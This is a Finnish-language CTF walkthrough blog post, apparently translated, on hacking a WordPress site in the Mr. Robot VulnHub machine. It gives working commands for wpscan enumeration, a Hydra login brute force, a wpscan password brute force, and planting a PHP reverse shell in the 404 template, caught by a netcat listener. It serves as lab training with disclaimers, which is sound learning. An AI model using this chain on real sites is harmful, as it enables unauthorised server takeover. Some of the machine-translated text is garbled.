Tervetuloa takaisin kollegat turvallisuuden harrastajat! Tänään näytän teille, kuinka hakkeroida WordPress-verkkosivusto käyttäen esimerkkinä Mr. Robot CTF:ää. Olen juuri itse käynyt läpi tämän erinomaisen CTF:n ja oppinut prosessin aikana paljon. Halusin nostaa Web-haavoittuvuusanalyysipeliäni pykälän verran ja aloitin tästä CTF:stä.
Jos todella haluat oppia kyberturvallisuutta, suosittelen lämpimästi lukemaan valtavan Getting started with Cybersecurity in 2019 -aloitusoppaani, jossa opetan sinulle, miten aloittaa, täysin ilmaiseksi! Kannattaa myös tutustua Best Hacking Books in 2019 -artikkeliin.
DISCLAIMER: Tämä ”miten hakkeroida WordPress-verkkosivusto” on eettinen hakkerointiopas ja suunnattu tietoturva-alan ammattilaisille. Älä, toistan, älä käytä näitä tekniikoita ilman vastaanottajan kirjallista suostumusta. Jos käytät tätä opetusohjelmaa laittomassa yhteydessä, lailliset syytteet ja / tai vankila-aika saattavat odottaa sinua. Käytä näitä tekniikoita vain suljetussa laboratorioympäristössä.
CTF on niin sanottu Capture the Flag -peli, jossa tavoitteesi on kerätä tietty määrä lippuja (tai avaimia). CTF:ien avulla voit harjoitella hakkerointitaitojasi turvallisessa ja laillisessa ympäristössä. Voin suositella Vulnhubia resurssina, josta löytyy valikoima erinomaisia CTF:iä.
Okei, aloitetaan.
- Vaihe 1 – Arvioi, käyttääkö verkkosivusto WordPressiä
- Vaihe 2 – Koodin nappaaminen Burpsuiten avulla
- Vaihe 3 – Oikean käyttäjätunnuksen löytäminen
- Vaihe 4 – Bruteforcing Usernames with Hydra
- Vaihe 5 – Salasanan raa’an pakottaminen
- Vaihe 6 – Haitallisen koodin toteuttaminen WordPressiin
- Vaihe 7 – Netcat-kuuntelijan käynnistäminen
- Jaa!
Vaihe 1 – Arvioi, käyttääkö verkkosivusto WordPressiä
Jos et tiedä, käyttääkö verkkosivusto WordPressiä vai ei, on useimmiten erittäin helppo tapa selvittää se.
Voit yksinkertaisesti kirjoittaa: www.addressofthewebsite.com/wp-admin
Joka useimmissa tapauksissa tuo esiin wp-admin login gui:n, paitsi jos ylläpitäjä on poistanut sen käytöstä.
Toinen hyvä tapa tarkistaa, käyttääkö Verkkosivusto WordPressiä, on käyttää wpscania. Wpscan on esiasennettuna sekä Kalissa että ParrotSecissä.
wpscan -u www.addressofyourtarget.com
Tapauksessani Mr. Robot VM:n skannaaminen paljastaa seuraavaa.
Kuten huomaat, se osoittaa selvästi, että sivusto käyttää WordPressiä. Lisäksi se esittää sinulle 46 tunnistettua haavoittuvuutta. Nyt useimmat palveluntarjoajat ja WordPressin viimeisimmät versiot estävät oletusarvoisesti tällaisen skannauksen. Todennäköisesti tämä toimii siis vain vanhentuneilla WordPress-versioilla, joilla ei ole minkäänlaista suojausta hosterilta.
Okei, niin pitkälle niin hyvin. Nyt voimme varmistaa sen tarkistamalla, onko kirjautumissivu olemassa navigoimalla sivuston URL-osoitteeseen + /wp-admin näin:
Ja aivan varmasti kirjautumismaski tulee näkyviin.
Vaihe 2 – Koodin nappaaminen Burpsuiten avulla
Nyt tulee hankala osuus, käyttäjätunnuksen selvittäminen. Voisit aloittaa administa, mutta WordPress luo yleensä satunnaisen käyttäjätunnuksen, joten sen selvittäminen voi olla vaikeaa ja saatat joutua tutkimaan kohdetta tarkemmin.
Mr. Robot -esimerkissä tiedän, että käyttäjätunnus on Elliot (ei liian vaikea arvata). Voisit myös yrittää ajaa hydraa paria käyttäjätunnusluetteloa vastaan, mutta ensin meidän on käytettävä burpsuitea napataksemme koodia kirjautumissivulta.
Käynnistä burpsuite kirjoittamalla
sudo burpsuite
Luo uusi tilapäinen projekti käyttäen burp:n oletusasetuksia.
Navigoi Kohde -> Sovellusalue-välilehdelle ja napsauttamalla Lisää sisällytäksesi wp-login-sivun Sovellusalueeseen. Valitse ponnahdusikkunassa Kyllä.
Seuraavaksi siirry Firefoxin Asetukset-valikkoon ja selaa alaspäin, kunnes löydät kohdan Network Proxy. Klikkaa Asetukset.
Valitse Manuaalinen välityspalvelinkonfiguraatio ja syötä IP 127.0.0.1 ja portti 8080. Rastita ”Käytä tätä välityspalvelinta kaikkiin protokolliin”. Napsauta OK.
Takaisin Burpsuiteen. Avaa Proxy-välilehti. Nyt takaisin WP-Login-sivulle. Syötä mikä tahansa satunnainen käyttäjätunnus ja salasana ja napsauta Kirjaudu sisään. Varmista, että Privacy Badger, uBlock Origins ja NoScript ovat poissa käytöstä sivustolla.
Kun olet klikannut kirjautumista, palaa takaisin Burpsuitelle ja katso tulosteet.
log=root&pwd=1234&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.109%2Fwp-admin%2F&testcookie=1
Nyt meillä on jotain, mitä voimme syöttää Hydraan.
Vaihe 3 – Oikean käyttäjätunnuksen löytäminen
Tehdäänpä vähän hauskaa, jotta saatte käsityksen siitä, miten voitte selvittää kohteen käyttäjätunnuksen. VM, jota käytämme tässä esimerkissä, kuten edellä mainittiin, on Mr. Robot -teemainen. On siis hyvin todennäköistä, että käyttäjänimi löytyy jostain triviaalista, joka liittyy Mr. Robotiin.
Mene ensin takaisin Burpsuiteesi ja sulje se. Emme tarvitse sitä enää juuri nyt. Mene myös takaisin välityspalvelimen asetuksiin ja poista välityspalvelin taas käytöstä.
Nyt menen Mr. Robotin Wikipedia-sivulle: https://en.wikipedia.org/wiki/Mr._Robot
Ja luon käyttäjätunnusluettelon juuri tästä sivusta CeWL:n avulla.
Avaa uusi terminaali-ikkuna ja kirjoita
sudo cewl -w usernames.txt -d1 -m4 https://en.wikipedia.org/wiki/Mr._Robot
Kirjoitetaan tämä alas.
- -w usernames.txt – pitäisi olla melko selvä, tämä on luodun sanaluettelon nimi
- -d1 – Määrittää syvyyden, jolla CeWL indeksoi sivuston. 1 tarkoittaa, että se pysyy juuri tällä sivustolla eikä avaa mitään linkkejä sillä.
- -m4 – Määrittää sanan vähimmäispituuden, joka laitetaan listaan
- https://en.wikipedia.org/wiki/Mr._Robot – ilmeisesti sivusto, jonka aiomme indeksoida.
Kuten näet, voit soveltaa tätä tekniikkaa mihin tahansa kohteeseen liittyvään verkkosivustoon.
Pikakatselun suorittaminen
ls
näyttää meille, että käyttäjätunnuksemme.txt luotiin.
Jossain tapauksissa olet onnekas, kun käytät wpscania käyttäjätunnuksen luettelemiseen, joten kokeile aina myös tätä:
wpscan --url http://www.targetwebsite.com --enumerate u
Nyt käytämme Hydraa Bruteforcea tämän listan Bruteforcea vastaan wp-login-sivulle.
Vaihe 4 – Bruteforcing Usernames with Hydra
Okei, aika syöttää Usernames meidän Hydraan. Löysin tämän nimenomaisen menetelmän yhdestä Vulnhubin monista Walkthroughsista, vaikka en muista tarkalleen mikä se oli, mutta annan tunnustusta, jos tunnustusta kuuluu. Avaa uusi terminaali-ikkuna ja kirjoita:
hydra -V -L usernames.txt -p whatever 192.168.1.109 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'
Kirjoitetaan tämä alaspäin.
- -V – Verbose
- -L – Meidän käyttäjätunnuksemme.txt list
- -p whatever – Salasana, emme välitä, koska haluamme selvittää käyttäjätunnuksen
- http-post-form – Brute Force -hyökkäyksen tyyppi, jonka haluamme suorittaa
- /wp-login.php – Kirjautumislomakkeen polku
- log = ^USER^&pwd=^PASS^&wp-submit=Log+In – Lomakkeelle lähetettävät arvot, jossa ^USER^ ja ^PASS^ ovat paikanvartijoita -L- ja -p-asetuksillemme
- F=Invalid username – Kertoo Hydralle, että yritys epäonnistui, jos se antaa tulokseksi Invalid username
Käynnistetäänkö tuo komento?
Ja tosiaan, saamme takaisin, että kirjautuminen käyttäjätunnuksella elliot onnistui (Mitä se ei ollutkaan, se vain vahvisti, että web-lomake ei palauttanut virheellistä käyttäjätunnusta).
Meidän täytyy siis vielä selvittää salasana. Mutta ainakin meillä on käyttäjänimi.
Vaihe 5 – Salasanan raa’an pakottaminen
Nyt voisimme myös käyttää Hydraa käyttäjän salasanan raa’an pakottamiseen, mutta käytän mieluummin wpscania, koska sen syntaksi on helpompi.
wpscan --url http://192.168.1.109/wp-login.php --passwords /usr/share/wordlists/rockyou.txt.gz --usernames elliot --wp-content-dir http://192.168.1.109/wp-login.php
rockyou.txt.gz on vain esimerkki, korvaa se millä tahansa salasanaluettelolla, jota haluat käyttää.
Ja voila, saimme käyttäjätunnuksen ja salasanan.
Vaihe 6 – Haitallisen koodin toteuttaminen WordPressiin
Vai niin, nyt kun saimme ylläpitäjän pääsyn WordPressiin, voimme jatkaa tästä eteenpäin parilla eri tavalla. Näytän sinulle yhden helpommista.
Hyökkäävällä tietokoneella mene kohtaan Places -> File System -> usr -> share -> webshells -> php ja avaa php-reverse-shell.php
Kopioi sen koko sisältö:
Nyt WordPressissä siirry kohtaan Appearance -> Editor ja valitse 404.php Template. Tämä on vain esimerkki, voit toteuttaa koodin monella eri tavalla.
Nyt liitä koodisi tähän niin, että se näyttää jotakuinkin tältä:
Muokkaa keltaisella merkittyjä rivejä niin, että IP osoittaa hyökkäävään tietokoneeseesi ja valitse portti.
Vaihe 7 – Netcat-kuuntelijan käynnistäminen
Nyt takaisin hyökkäävällä tietokoneella käynnistämme Netcat-kuuntelijan:
nc -lvp 443
Sitten avaat 404-sivun kuin vain menemällä linkkiin: www.yourtargetwebsite.com/404
Ja ollaan sisällä! Emme ainoastaan hakkeroineet WordPressin admin-tiliä, vaan pääsimme myös käsiksi itse palvelimeen. Tästä eteenpäin sinun täytyy käyttää taitojasi saadaksesi korotetun käyttöoikeuden, mutta sen ei pitäisi olla enää liian vaikeaa.
Voit huomata, että CTF:t ovat loistava tapa oppia uusia asioita.
Kunnes seuraavaan kertaan, jatka hakkerointia!
*Kaikki tekniikat, joita tarjotaan ceos3c.com-sivuston opetusohjelmissa, on tarkoitettu ainoastaan koulutustarkoituksiin.
Kaikki täällä opetetut tekniikat on tarkoitettu käytettäväksi vain suljetussa laboratorioympäristössä tai yhteisymmärryksessä toisen osapuolen kanssa.
Jos käytät jotain näistä tekniikoista laittomiin tarkoituksiin, Ceos3c ei ole vastuussa mahdollisista laillisista seurauksista.